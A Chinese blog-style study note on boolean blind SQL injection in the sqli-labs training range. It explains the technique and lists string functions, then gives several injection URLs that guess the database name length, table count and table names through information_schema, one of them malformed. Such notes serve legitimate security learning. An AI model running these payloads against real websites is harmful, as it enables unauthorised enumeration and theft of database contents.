根据sql-lab的靶场关卡,进行盲注的注入学习。
这是参考的一篇大佬的文章。
盲注是指攻击者不能直接获取数据库中的信息,需要通过一些技巧来判断或推断出数据库中的数据。盲注主要分为布尔盲注和时间盲注两种
布尔盲注
以下是布尔盲注常见思路。
- 爆库名长度
- 根据库名长度爆库名
- 对当前库爆表数量
- 根据库名和表数量爆表名长度
- 根据表名长度爆表名
- 对表爆列数量
- 根据表名和列数量爆列名长度
- 根据列名长度爆列名
- 根据列名爆数据值
判断注入点
可以使用and 1=1,发现能正常回应。但是输入 and 1=2,就无法回应。可以利用and的这个属性,来实现猜出来我们想要的信息。
常用函数
ascii()返回字符的ascii码,返回该字符对应的ascii码
可以用来爆破名称
count():返回当前列的记录数量SELECT COUNT(列名) FROM table_name; 若列名是*返回表记录数。
case when (条件) then 代码1 else 代码2 end条件成立,则执行代码1,否则执行代码2
代替substr的函数
left(str,index)从左边第index开始截取
right(str,index)从右边第index开始截取
substring(str,index)从左边index开始截取
mid(str,index,len)截取str从index开始,截取len的长度
lpad(str,len,padstr)
rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填
原文链接:https://blog.csdn.net/c_programj/article/details/115557295
SUBSTR(string, start, length)
截取string字符串,start是起始位置,length是长度。
length(值或表达式)
用来判断某东西的长度。会写脚本可以一个个试。但是二分法显然更高效。
limit 1,2
1是起始,0是第一位。2是截获的长度。
实操
输入and 1=2无法出现东西,初步判断是布尔类型盲注。开始猜测数据库、表、列、数值。
要注意括号的用法,在 SQL 中,括号主要用于改变运算的优先级,就像在数学运算中一样,括号内的表达式会优先执行。我就是length后的select忘记整体加括号,导致一直嘟嘟嘟报错,郁闷死了。
?id=1' and length(database()) = 8--+
#判断数据库长度有8位(其实我们知道肯定是security)
?id=1' and (select COUNT(*) from information_schema.tables where table_schema="security") =4--+
#爆出来有4个表,逐个爆出表长度和名字
id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) >2 --+
#上面是只爆一个表
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4
#上面是爆所有的表
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='u'
#爆名字
后面的操作和这些大同小异。就不再赘述。现在回头看,相比sql注入也就是多了几个函数。